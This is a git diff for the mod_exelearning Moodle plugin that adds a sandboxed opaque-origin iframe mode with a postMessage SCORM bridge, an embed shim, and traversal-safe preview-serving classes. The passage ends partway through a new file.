diff --git a/.gitignore b/.gitignore
index a42a178..88e6968 100644
--- a/.gitignore
+++ b/.gitignore
@@ -29,4 +29,8 @@ node_modules/
 # JS test artifacts (Vitest)
 coverage/
 junit-js.xml
+
+# E2E artifacts (Playwright)
+test-results/
+playwright-report/
 .env
diff --git a/README.md b/README.md
index c155f0f..4f3caf8 100644
--- a/README.md
+++ b/README.md
@@ -155,6 +155,39 @@ editor remains):
   editor's built-in styles, and optionally block users from importing styles
   bundled inside an `.elpx`. A dedicated _Styles_ admin page lists and manages
   them.
+* **Package iframe security mode** (`iframemode`, default **Secure**): in _Secure_
+  mode the eXeLearning package runs in a sandboxed, **opaque-origin** iframe so its
+  JavaScript cannot read or modify the surrounding Moodle page, its cookies or the
+  session; SCORM scoring is relayed to Moodle over a validated `postMessage` bridge,
+  and the package is served via `tokenpluginfile.php` so its assets load without the
+  session cookie (which an opaque iframe never sends). The package only receives a
+  read-only file token — never the `sesskey` — so Secure is strictly safer than
+  Legacy. _Legacy_ keeps the previous same-origin behaviour as an opt-in fallback.
+  Secure mode is **never silently downgraded**: where it cannot render (e.g. a host
+  whose service worker can't serve an opaque iframe, such as a PHP-WASM playground), a
+  "blocked by security configuration" notice is shown instead of falling back to
+  Legacy. See
+  [DEC-0059](./research/decisiones/adr/DEC-0059-bridge-scorm-postmessage-origen-opaco.md)
+  and [DEC-0060](./research/decisiones/adr/DEC-0060-iframe-seguro-tokenpluginfile.md).
+
+### External embeds (YouTube/Vimeo/PDF) in Secure mode
+
+The opaque-origin sandbox also blanks **embedded YouTube/Vimeo players and PDFs** (the
+sandbox flag propagates to the nested player iframe, and browsers block their PDF viewer
+without `allow-same-origin`). So that authors can still use external media in Secure mode
+**without a separate subdomain**, those embeds are **promoted to the Moodle page and
+rendered inline**: a shim baked into the package (`js/exe_embed_shim.js`, self-activating
+only in the opaque origin) replaces each whitelisted-video / `.pdf` iframe with a
+placeholder and reports its geometry to the parent; a relay on the activity page
+(`js/exe_embed_relay.js`) validates + rebuilds the canonical URL and overlays the real
+player exactly over the placeholder. Local package PDFs always render; any `https` `.pdf`
+renders; a same-origin `.pdf` must belong to the package (served as `application/pdf`).
+This is independent of, and does not affect, the SCORM bridge. See
+[DEC-0061](./research/decisiones/adr/DEC-0061-embeds-externos-promote-to-parent.md).
+
+The mechanism has unit tests (`npm run test:js` — Vitest, incl. a SCORM-coexistence
+guard) and a cross-browser end-to-end test in Firefox (`npm run test:e2e:embed` —
+Playwright, loads the real shim/relay against an opaque-origin harness).
 
 ## Embedded editor management
 
@@ -191,10 +224,18 @@ attempts, and delete attempts from the teacher report (the grade is
 recalculated). Completion can require a passing grade (SCORM-style, see
 [DEC-0010](./research/decisiones/adr/DEC-0010-finalizacion-estilo-scorm.md)).
 
-Grading runtime uses a SCORM 1.2 bridge: a small `window.API` shim installed by
-`view.php` accepts `LMSSetValue` calls from the iDevice's bundled pipwerks
-wrapper and forwards them to `track.php`, which calls Moodle's `grade_update()`.
-xAPI support via `core_xapi` is on the roadmap.
+Grading runtime uses a SCORM 1.2 bridge whose isolation depends on the **package
+iframe security mode**
+([DEC-0059](./research/decisiones/adr/DEC-0059-bridge-scorm-postmessage-origen-opaco.md)).
+In the default **Secure** mode the package runs in an opaque-origin sandboxed iframe
+served via `tokenpluginfile.php` (so its assets load without the session cookie): a
+`window.API` shim lives _inside_ the iframe and posts buffered scores to the Moodle page
+over a validated `postMessage` channel; the page (which holds the `sesskey`) forwards
+them to `track.php`, which calls Moodle's `grade_update()`. In **Legacy** mode the shim
+is installed by `view.php` in the same-origin parent and the iDevice's bundled pipwerks
+wrapper reaches it directly. See
+[DEC-0060](./research/decisiones/adr/DEC-0060-iframe-seguro-tokenpluginfile.md) for the
+secure serving + CSP hardening. xAPI support via `core_xapi` is on the roadmap.
 
 ## Web services (Mobile API)
 
diff --git a/assets/scorm/SCORM_API_wrapper.js b/assets/scorm/SCORM_API_wrapper.js
index 6ea6c37..34134b0 100644
--- a/assets/scorm/SCORM_API_wrapper.js
+++ b/assets/scorm/SCORM_API_wrapper.js
@@ -133,12 +133,35 @@ pipwerks.SCORM.API.get = function () {
     find = pipwerks.SCORM.API.find,
     trace = pipwerks.UTILS.trace;
 
-  if (win.parent && win.parent != win) {
-    API = find(win.parent);
+  // Check the CURRENT window's frame hierarchy first (standard pipwerks order). In
+  // the secure (opaque-origin) package mode the SCORM API is provided locally by the
+  // in-iframe bridge shim (js/scorm_bridge_shim.js, DEC-0059) as window.API, and the
+  // Moodle parent is a cross-origin/opaque frame that throws SecurityError on access.
+  // Starting at win.parent (as the prior build did) made init() throw there and the
+  // connection never went active, so no score was ever saved in secure mode. find(win)
+  // returns the local API when present and otherwise walks up same-origin ancestors,
+  // which keeps the legacy same-origin mode (API hosted by the Moodle parent) working.
+  // Every cross-origin hop is wrapped so an opaque ancestor can never abort lookup.
+  try {
+    API = find(win);
+  } catch (e) {
+    trace("API.get: find(window) threw: " + e);
+  }
+
+  if (!API && win.parent && win.parent != win) {
+    try {
+      API = find(win.parent);
+    } catch (e) {
+      trace("API.get: find(parent) blocked (cross-origin): " + e);
+    }
   }
 
-  if (!API && win.top.opener) {
-    API = find(win.top.opener);
+  try {
+    if (!API && win.top && win.top.opener) {
+      API = find(win.top.opener);
+    }
+  } catch (e) {
+    trace("API.get: find(opener) blocked: " + e);
   }
 
   if (API) {
diff --git a/blueprint.json b/blueprint.json
index 14623f7..a4e0750 100644
--- a/blueprint.json
+++ b/blueprint.json
@@ -1,6 +1,9 @@
 {
   "$schema": "https://raw.githubusercontent.com/ateeducacion/moodle-playground/refs/heads/main/assets/blueprints/blueprint-schema.json",
   "preferredVersions": { "php": "8.3", "moodle": "5.0" },
+  "phpConstants": {
+    "EXELEARNING_UNSAFE_LEGACY_IFRAME": true
+  },
   "landingPage": "/course/view.php?id=2",
   "constants": {
     "REPO": "exelearning/mod_exelearning",
@@ -39,6 +42,7 @@
     },
     {
       "step": "setConfigs",
+      "comment": "Playground-only display/debug config. The opaque-iframe escape hatch is enabled separately via the top-level phpConstants (EXELEARNING_UNSAFE_LEGACY_IFRAME): the Playground's php-wasm service worker only serves same-origin documents, so secure mode would only show the 'blocked by security configuration' notice. Real Moodle keeps the secure default and never defines that constant.",
       "configs": [
         { "name": "editormode",   "value": "embedded",      "plugin": "exelearning" },
         { "name": "display",      "value": "1",             "plugin": "exelearning" },
diff --git a/classes/admin/admin_setting_stylesbuiltins.php b/classes/admin/admin_setting_stylesbuiltins.php
index 70584f7..ecb5f70 100644
--- a/classes/admin/admin_setting_stylesbuiltins.php
+++ b/classes/admin/admin_setting_stylesbuiltins.php
@@ -111,9 +111,10 @@ public function output_html($data, $query = '') {
                 : get_string('stylesenable', 'mod_exelearning');
             $toggleaction = $isenabled ? 'disablebuiltin' : 'enablebuiltin';
 
-            $togglelink = $this->action_link(
+            $togglelink = styles_action_button::link(
                 $baseurl,
                 $toggleaction,
+                'id',
                 $id,
                 $togglelabel,
                 $isenabled ? 'btn-secondary' : 'btn-success'
@@ -145,33 +146,4 @@ public function output_html($data, $query = '') {
             $query
         );
     }
-
-    /**
-     * Build a single toggle action as a sesskey-protected link styled as a button.
-     *
-     * Rendered as a link rather than an inline <form>: this setting is shown inside the
-     * admin settings page, which already wraps every setting in one <form>. A nested
-     * <form> is invalid HTML and leaks its own action/sesskey hidden fields into the
-     * outer form's submission, so the page's "Save changes" posts action=disablebuiltin
-     * instead of action=save-settings and silently saves nothing. styles.php accepts the
-     * toggle over GET (optional_param + confirm_sesskey), the same pattern Moodle core
-     * uses to enable/disable plugins.
-     *
-     * @param \moodle_url $baseurl
-     * @param string $action
-     * @param string $id
-     * @param string $label
-     * @param string $btnclass
-     * @return string
-     */
-    private function action_link(
-        \moodle_url $baseurl,
-        string $action,
-        string $id,
-        string $label,
-        string $btnclass
-    ): string {
-        $url = new \moodle_url($baseurl, ['action' => $action, 'id' => $id, 'sesskey' => sesskey()]);
-        return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']);
-    }
 }
diff --git a/classes/admin/admin_setting_stylesuploaded.php b/classes/admin/admin_setting_stylesuploaded.php
index e98f495..12aa068 100644
--- a/classes/admin/admin_setting_stylesuploaded.php
+++ b/classes/admin/admin_setting_stylesuploaded.php
@@ -110,16 +110,18 @@ public function output_html($data, $query = '') {
                 : get_string('stylesenable', 'mod_exelearning');
             $toggleaction = $enabled ? 'disable' : 'enable';
 
-            $togglelink = $this->action_link(
+            $togglelink = styles_action_button::link(
                 $baseurl,
                 $toggleaction,
+                'slug',
                 $slug,
                 $togglelabel,
                 $enabled ? 'btn-secondary' : 'btn-success'
             );
-            $deletelink = $this->action_link(
+            $deletelink = styles_action_button::link(
                 $baseurl,
                 'delete',
+                'slug',
                 $slug,
                 get_string('stylesdelete', 'mod_exelearning'),
                 'btn-danger'
@@ -152,33 +154,4 @@ public function output_html($data, $query = '') {
             $query
         );
     }
-
-    /**
-     * Build a single action as a sesskey-protected link styled as a button.
-     *
-     * Rendered as a link rather than an inline <form>: this setting appears inside the
-     * admin settings page, which already wraps every setting in one <form>. A nested
-     * <form> is invalid HTML and leaks its action/sesskey hidden fields into the outer
-     * form's submission, so the page's "Save changes" posts the nested action (e.g.
-     * delete) instead of action=save-settings and silently saves nothing. styles.php
-     * accepts these actions over GET (optional_param + confirm_sesskey); the destructive
-     * delete is confirmed server-side there, so a prefetch cannot destroy data.
-     *
-     * @param \moodle_url $baseurl
-     * @param string $action
-     * @param string $slug
-     * @param string $label
-     * @param string $btnclass
-     * @return string
-     */
-    private function action_link(
-        \moodle_url $baseurl,
-        string $action,
-        string $slug,
-        string $label,
-        string $btnclass
-    ): string {
-        $url = new \moodle_url($baseurl, ['action' => $action, 'slug' => $slug, 'sesskey' => sesskey()]);
-        return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']);
-    }
 }
diff --git a/classes/admin/styles_action_button.php b/classes/admin/styles_action_button.php
new file mode 100644
index 0000000..5a6c5a3
--- /dev/null
+++ b/classes/admin/styles_action_button.php
@@ -0,0 +1,63 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Shared renderer for the styles-management admin action buttons.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+namespace mod_exelearning\admin;
+
+/**
+ * Builds a styles-management action (enable/disable/delete) as a sesskey-protected link
+ * styled as a button.
+ *
+ * Shared by admin_setting_stylesbuiltins and admin_setting_stylesuploaded, which render
+ * the action as a link rather than an inline <form>: these settings appear inside the
+ * admin settings page, which already wraps every setting in one <form>. A nested <form>
+ * is invalid HTML and leaks its action/sesskey hidden fields into the outer form's
+ * submission, so the page's "Save changes" posts the nested action (e.g. delete) instead
+ * of action=save-settings and silently saves nothing. styles.php accepts these actions
+ * over GET (optional_param + confirm_sesskey); the destructive delete is confirmed
+ * server-side there, so a prefetch cannot destroy data.
+ */
+final class styles_action_button {
+    /**
+     * Build a single action as a sesskey-protected link styled as a button.
+     *
+     * @param \moodle_url $baseurl  The styles.php base URL.
+     * @param string $action        The action (enable/disable/enablebuiltin/disablebuiltin/delete).
+     * @param string $idkey         The query parameter name carrying the identifier ('id' or 'slug').
+     * @param string $idval         The identifier value.
+     * @param string $label         The button label.
+     * @param string $btnclass      The Bootstrap button modifier class (e.g. 'btn-danger').
+     * @return string
+     */
+    public static function link(
+        \moodle_url $baseurl,
+        string $action,
+        string $idkey,
+        string $idval,
+        string $label,
+        string $btnclass
+    ): string {
+        $url = new \moodle_url($baseurl, ['action' => $action, $idkey => $idval, 'sesskey' => sesskey()]);
+        return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']);
+    }
+}
diff --git a/classes/local/package_manager.php b/classes/local/package_manager.php
index c084dff..93fe75e 100644
--- a/classes/local/package_manager.php
+++ b/classes/local/package_manager.php
@@ -240,25 +240,42 @@ public static function extract_stored(int $contextid, int $revision): void {
             1
         );
 
-        // 5) If the package (web export) does not include libs/SCORM_API_wrapper.js,
-        // inject it from the plugin's assets/ directory. eXeLearning v4 only bundles
-        // this wrapper in the SCORM export; without it, gradable iDevices display
-        // "this page is not part of a SCORM package".
-        foreach (['SCORM_API_wrapper.js', 'SCOFunctions.js'] as $shimname) {
+        // 5) Ensure the SCORM client assets live under libs/ of the extracted package.
+        // The vendored pipwerks wrapper + SCOFunctions are copied only when the export
+        // does not already bundle them: eXeLearning v4 bundles them in the SCORM export
+        // but not in the web/elpx export, and without them gradable iDevices show "this
+        // page is not part of a SCORM package". A bundled copy is never overwritten
+        // ($refresh = false). The bridge client (scorm_tracker + exe_scorm_bridge) powers
+        // the secure opaque-origin iframe mode (DEC-0059); it runs INSIDE the iframe so it
+        // must be served from the package, and being plugin-owned it is refreshed on every
+        // extract so a shim update reaches existing packages ($refresh = true).
+        $clientassets = [
+            ['SCORM_API_wrapper.js', __DIR__ . '/../../assets/scorm/SCORM_API_wrapper.js', false],
+            ['SCOFunctions.js', __DIR__ . '/../../assets/scorm/SCOFunctions.js', false],
+            ['scorm_tracker.js', __DIR__ . '/../../js/scorm_tracker.js', true],
+            ['exe_scorm_bridge.js', __DIR__ . '/../../js/scorm_bridge_shim.js', true],
+            // External-embed shim: promotes whitelisted/PDF iframes to the parent in
+            // secure mode (dormant otherwise). Plugin-owned, refreshed on every extract.
+            ['exe_embed_shim.js', __DIR__ . '/../../js/exe_embed_shim.js', true],
+        ];
+        foreach ($clientassets as $asset) {
+            [$destname, $assetpath, $refresh] = $asset;
+            if (!is_file($assetpath)) {
+                continue;
+            }
             $present = $fs->get_file(
                 $context->id,
                 'mod_exelearning',
                 'content',
                 (int) $data->revision,
                 '/libs/',
-                $shimname
+                $destname
             );
             if ($present) {
-                continue;
-            }
-            $assetpath = __DIR__ . '/../../assets/scorm/' . $shimname;
-            if (!is_file($assetpath)) {
-                continue;
+                if (!$refresh) {
+                    continue;
+                }
+                $present->delete();
             }
             $fs->create_file_from_pathname([
                 'contextid' => $context->id,
@@ -266,7 +283,7 @@ public static function extract_stored(int $contextid, int $revision): void {
                 'filearea'  => 'content',
                 'itemid'    => (int) $data->revision,
                 'filepath'  => '/libs/',
-                'filename'  => $shimname,
+                'filename'  => $destname,
             ], $assetpath);
         }
 
diff --git a/classes/local/preview/fixed_resources.php b/classes/local/preview/fixed_resources.php
new file mode 100644
index 0000000..1faed16
--- /dev/null
+++ b/classes/local/preview/fixed_resources.php
@@ -0,0 +1,198 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use mod_exelearning\local\editor_paths;
+use mod_exelearning\local\embedded_editor_source_resolver;
+
+/**
+ * Fixed-resource resolver for the editor preview (serving contract v2, layer 1).
+ *
+ * The eXeLearning build emits bundles/preview-fixed-resources.json inside the
+ * static editor distribution (the same distribution this plugin installs into
+ * moodledata or ships bundled). It enumerates every installation-immutable file
+ * the preview serving route may resolve OUTSIDE a session — libraries, base
+ * iDevice runtimes, base themes, PDF.js, the content CSS, the logo, global
+ * fonts. This class is the ONLY path from a fixedResourceId to the filesystem:
+ *
+ * - ids resolve by EXACT map lookup — client input never becomes a path;
+ * - only resources[id].path (server-controlled build output) reaches the
+ *   filesystem, resolved under the distribution root with a strict containment
+ *   check (which also rejects symlink escapes via realpath());
+ * - unknown ids are a lookup miss, never a filesystem probe.
+ *
+ * When the manifest is absent (older editor build, or none installed) the fixed
+ * layer is DISABLED gracefully: has_resource() is always false, so a revision
+ * carrying fixedRefs gets a 422 unknown-fixed-resources and the editor client
+ * demotes those paths to document writes and retries. The route never fatals.
+ *
+ * The distribution root and manifest path are resolved lazily and cached;
+ * {@see self::configure()} (tests, or a relocated distribution) resets the cache.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+class fixed_resources {
+    /** @var string|null Distribution-root override (tests / relocated install). */
+    private static $rootoverride = null;
+
+    /** @var string|null Manifest-path override (tests / relocated install). */
+    private static $manifestoverride = null;
+
+    /** @var array<string,array{path:string,size:int}>|null Lazily loaded manifest cache. */
+    private static $cache = null;
+
+    /**
+     * Point the resolver at an explicit distribution root and manifest path.
+     *
+     * @param string|null $root Distribution root every manifest path resolves under.
+     * @param string|null $manifestpath Absolute path to preview-fixed-resources.json.
+     */
+    public static function configure(?string $root, ?string $manifestpath): void {
+        self::$rootoverride = $root;
+        self::$manifestoverride = $manifestpath;
+        self::$cache = null;
+    }
+
+    /**
+     * Restore the default (installed static editor) resolution and clear the cache.
+     */
+    public static function reset(): void {
+        self::$rootoverride = null;
+        self::$manifestoverride = null;
+        self::$cache = null;
+    }
+
+    /**
+     * The distribution root: the active installed static editor directory, or
+     * the test override. Null when no editor is installed.
+     *
+     * @return string|null
+     */
+    private static function dist_root(): ?string {
+        if (self::$rootoverride !== null) {
+            return self::$rootoverride;
+        }
+        return embedded_editor_source_resolver::get_active_dir();
+    }
+
+    /**
+     * Absolute path to the fixed-resource manifest, or null when unresolvable.
+     *
+     * @return string|null
+     */
+    private static function manifest_path(): ?string {
+        if (self::$manifestoverride !== null) {
+            return self::$manifestoverride;
+        }
+        $root = self::dist_root();
+        if ($root === null) {
+            return null;
+        }
+        return $root . '/bundles/preview-fixed-resources.json';
+    }
+
+    /**
+     * Load and validate the manifest once. A missing or invalid manifest resolves
+     * to an empty map (the fixed layer is disabled but the route keeps serving).
+     *
+     * @return array<string,array{path:string,size:int}>
+     */
+    private static function load(): array {
+        if (self::$cache !== null) {
+            return self::$cache;
+        }
+        $map = [];
+        $manifestpath = self::manifest_path();
+        if ($manifestpath !== null && is_file($manifestpath)) {
+            $json = @file_get_contents($manifestpath);
+            $parsed = ($json !== false) ? json_decode($json, true) : null;
+            $valid = is_array($parsed)
+                && ($parsed['schemaVersion'] ?? null) === 1
+                && isset($parsed['resources'])
+                && is_array($parsed['resources']);
+            if ($valid) {
+                foreach ($parsed['resources'] as $id => $entry) {
+                    if (is_array($entry) && isset($entry['path']) && is_string($entry['path'])) {
+                        $map[(string) $id] = ['path' => $entry['path'], 'size' => (int) ($entry['size'] ?? 0)];
+                    }
+                }
+            }
+        }
+        self::$cache = $map;
+        return $map;
+    }
+
+    /**
+     * Exact-id membership test (the apply_revision validation hook).
+     *
+     * @param string $id Fixed resource id.
+     * @return bool True when the manifest lists this id.
+     */
+    public static function has_resource(string $id): bool {
+        return array_key_exists($id, self::load());
+    }
+
+    /**
+     * All ids the manifest declares (diagnostics / conformance tooling).
+     *
+     * @return string[]
+     */
+    public static function get_manifest_ids(): array {
+        return array_keys(self::load());
+    }
+
+    /**
+     * Resolve a fixed resource id to its bytes. Returns null for unknown ids,
+     * manifest paths escaping the distribution root (path arithmetic or symlink
+     * escape, caught by realpath + containment), and missing files. The only
+     * client-supplied value here is the exact-match id; the path is manifest data.
+     *
+     * @param string $id Fixed resource id.
+     * @return \stdClass|null Object with {bytes:string, size:int}, or null.
+     */
+    public static function get_resource(string $id): ?\stdClass {
+        $map = self::load();
+        if (!isset($map[$id])) {
+            return null;
+        }
+        $root = self::dist_root();
+        if ($root === null) {
+            return null;
+        }
+        $realroot = realpath($root);
+        if ($realroot === false) {
+            return null;
+        }
+        // The realpath() call collapses '..' and follows symlinks; the containment check
+        // then rejects anything (absolute paths, traversal, symlink escapes)
+        // that resolved outside the distribution root.
+        $resolved = realpath($realroot . '/' . $map[$id]['path']);
+        if ($resolved === false || !editor_paths::is_within($resolved, $realroot)) {
+            return null;
+        }
+        $bytes = @file_get_contents($resolved);
+        if ($bytes === false) {
+            return null;
+        }
+        $result = new \stdClass();
+        $result->bytes = $bytes;
+        $result->size = strlen($bytes);
+        return $result;
+    }
+}
diff --git a/classes/local/preview/preview_session.php b/classes/local/preview/preview_session.php
new file mode 100644
index 0000000..aec96ea
--- /dev/null
+++ b/classes/local/preview/preview_session.php
@@ -0,0 +1,229 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+/**
+ * A single preview session handle, minted by {@see session_store}.
+ *
+ * Wraps the on-disk session directory and its ACTIVE revision, and resolves a
+ * requested path across the three contract layers (documents → assetRefs→assets
+ * → fixedRefs→fixed-manifest → miss) through {@see self::get_file()}. The active
+ * revision is read once when the handle is constructed (the store passes the
+ * pointer value), and revision directories are immutable once published, so a
+ * handle serves one consistent revision for its whole lifetime — no request ever
+ * mixes revision N and N+1.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+final class preview_session {
+    /** @var string The previewId (server-minted UUID). */
+    public $previewid;
+
+    /** @var int The owning user's id. */
+    public $owneruserid;
+
+    /** @var int Active revision number; 0 until the first revision publishes. */
+    public $revision;
+
+    /** @var string Absolute path to the session directory. */
+    private $dir;
+
+    /** @var int Session-asset bytes (from meta). */
+    private $assetbytes;
+
+    /** @var int Active-revision document bytes (from meta). */
+    private $documentbytes;
+
+    /** @var array{documents:array<string,int>,assetrefs:array<string,string>,fixedrefs:array<string,string>}|null */
+    private $manifestcache = null;
+
+    /** @var array<string,int>|null Asset index cache (assetKey → size). */
+    private $assetindexcache = null;
+
+    /**
+     * Build a handle bound to a session directory and its active revision.
+     *
+     * @param string $previewid
+     * @param int $owneruserid
+     * @param string $dir Absolute session directory path.
+     * @param int $revision Active revision number.
+     * @param int $assetbytes Session-asset bytes.
+     * @param int $documentbytes Active-revision document bytes.
+     */
+    public function __construct(
+        string $previewid,
+        int $owneruserid,
+        string $dir,
+        int $revision,
+        int $assetbytes,
+        int $documentbytes
+    ) {
+        $this->previewid = $previewid;
+        $this->owneruserid = $owneruserid;
+        $this->dir = $dir;
+        $this->revision = $revision;
+        $this->assetbytes = $assetbytes;
+        $this->documentbytes = $documentbytes;
+    }
+
+    /**
+     * Absolute path to this session's directory.
+     *
+     * @return string
+     */
+    public function dir(): string {
+        return $this->dir;
+    }
+
+    /**
+     * Session-asset bytes plus active-revision document bytes (the value the
+     * per-session byte budget is measured against).
+     *
+     * @return int
+     */
+    public function session_bytes(): int {
+        return $this->assetbytes + $this->documentbytes;
+    }
+
+    /**
+     * Session-asset bytes only (assets persist across revisions).
+     *
+     * @return int
+     */
+    public function asset_bytes(): int {
+        return $this->assetbytes;
+    }
+
+    /**
+     * Resolve a served path against the active revision through the three
+     * contract layers. Unsafe paths and a session without a published revision
+     * (revision 0) resolve to null for everything.
+     *
+     * @param string $rawpath The requested path (below the capability prefix).
+     * @return \stdClass|null {kind, bytes, contenttype, scriptable, etag} or null.
+     */
+    public function get_file(string $rawpath): ?\stdClass {
+        if ($this->revision === 0) {
+            return null;
+        }
+        $path = serving::normalize_content_path($rawpath);
+        if ($path === null) {
+            return null;
+        }
+        $manifest = $this->load_manifest();
+        $contenttype = serving::content_type_for($path);
+        $scriptable = serving::is_scriptable($contenttype);
+
+        // Layer 3: generated documents.
+        if (array_key_exists($path, $manifest['documents'])) {
+            $bytes = @file_get_contents($this->dir . '/revisions/' . $this->revision . '/'
+                . session_store::doc_basename($path));
+            if ($bytes !== false) {
+                return $this->file('document', $bytes, $contenttype, $scriptable, null);
+            }
+            return null;
+        }
+
+        // Layer 2: session project assets, addressed by assetKey.
+        if (isset($manifest['assetrefs'][$path])) {
+            $key = $manifest['assetrefs'][$path];
+            $index = $this->load_asset_index();
+            if (array_key_exists($key, $index)) {
+                $bytes = @file_get_contents($this->dir . '/assets/' . session_store::asset_basename($key));
+                if ($bytes !== false) {
+                    return $this->file('asset', $bytes, $contenttype, $scriptable, $key);
+                }
+            }
+            return null;
+        }
+
+        // Layer 1: fixed installation resources, addressed by fixedResourceId.
+        if (isset($manifest['fixedrefs'][$path])) {
+            $resource = fixed_resources::get_resource($manifest['fixedrefs'][$path]);
+            if ($resource !== null) {
+                return $this->file('fixed', $resource->bytes, $contenttype, $scriptable, null);
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * Build a resolved-file value object.
+     *
+     * @param string $kind document|asset|fixed
+     * @param string $bytes
+     * @param string $contenttype
+     * @param bool $scriptable
+     * @param string|null $etag
+     * @return \stdClass
+     */
+    private function file(string $kind, string $bytes, string $contenttype, bool $scriptable, ?string $etag): \stdClass {
+        $file = new \stdClass();
+        $file->kind = $kind;
+        $file->bytes = $bytes;
+        $file->contenttype = $contenttype;
+        $file->scriptable = $scriptable;
+        $file->etag = $etag;
+        return $file;
+    }
+
+    /**
+     * Read the active revision's manifest (documents + both ref maps) once.
+     *
+     * @return array{documents:array<string,int>,assetrefs:array<string,string>,fixedrefs:array<string,string>}
+     */
+    private function load_manifest(): array {
+        if ($this->manifestcache !== null) {
+            return $this->manifestcache;
+        }
+        $empty = ['documents' => [], 'assetrefs' => [], 'fixedrefs' => []];
+        $json = @file_get_contents($this->dir . '/revisions/' . $this->revision . '/revision.json');
+        if ($json === false) {
+            $this->manifestcache = $empty;
+            return $empty;
+        }
+        $parsed = json_decode($json, true);
+        if (!is_array($parsed)) {
+            $this->manifestcache = $empty;
+            return $empty;
+        }
+        $this->manifestcache = [
+            'documents' => is_array($parsed['documents'] ?? null) ? $parsed['documents'] : [],
+            'assetrefs' => is_array($parsed['assetrefs'] ?? null) ? $parsed['assetrefs'] : [],
+            'fixedrefs' => is_array($parsed['fixedrefs'] ?? null) ? $parsed['fixedrefs'] : [],
+        ];
+        return $this->manifestcache;
+    }
+
+    /**
+     * Read the session asset index (assetKey → size) once.
+     *
+     * @return array<string,int>
+     */
+    private function load_asset_index(): array {
+        if ($this->assetindexcache !== null) {
+            return $this->assetindexcache;
+        }
+        $json = @file_get_contents($this->dir . '/assets/index.json');
+        $parsed = ($json !== false) ? json_decode($json, true) : null;
+        $this->assetindexcache = is_array($parsed) ? $parsed : [];
+        return $this->assetindexcache;
+    }
+}
diff --git a/classes/local/preview/serving.php b/classes/local/preview/serving.php
new file mode 100644
index 0000000..bedf0a7
--- /dev/null
+++ b/classes/local/preview/serving.php
@@ -0,0 +1,824 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+/**
+ * Protocol + response layer for the editor preview serving contract v2.
+ *
+ * This class is the Moodle mirror of eXeLearning core's
+ * src/services/preview-serving.ts. It owns everything that must stay
+ * byte-identical to core so the two can never drift:
+ *
+ * - the sandbox-first Content-Security-Policy ({@see self::csp_header()},
+ *   byte-identical to previewCspHeader());
+ * - traversal-safe path normalization and MIME/charset resolution
+ *   ({@see self::normalize_content_path()}, {@see self::content_type_for()});
+ * - the tiered serving response (documents no-store / assets no-cache + ETag +
+ *   Range / fixed private,max-age=31536000; the sandbox CSP on every scriptable
+ *   type from ANY layer; hardening headers on every response including 404s);
+ * - the management-endpoint helpers (create-session body, two-stage asset
+ *   upload, revision publication) the authenticated endpoint delegates to.
+ *
+ * The two thin HTTP adapters — preview.php (serving) and
+ * editor/preview_session.php (management) — carry no protocol logic of their
+ * own; they parse the request, call the helpers here, and emit the result.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+class serving {
+    /** @var int Contract protocol version advertised by create-session. */
+    const PROTOCOL_VERSION = 2;
+
+    /** @var int Advertised upper bound (bytes) for one upload request; clients batch below it. */
+    const RECOMMENDED_BATCH_BYTES = 67108864;
+
+    /**
+     * previewId capability shape (server-minted UUID). Case-insensitive to match
+     * core UUID_RE; \core\uuid::generate() emits lowercase.
+     *
+     * @var string
+     */
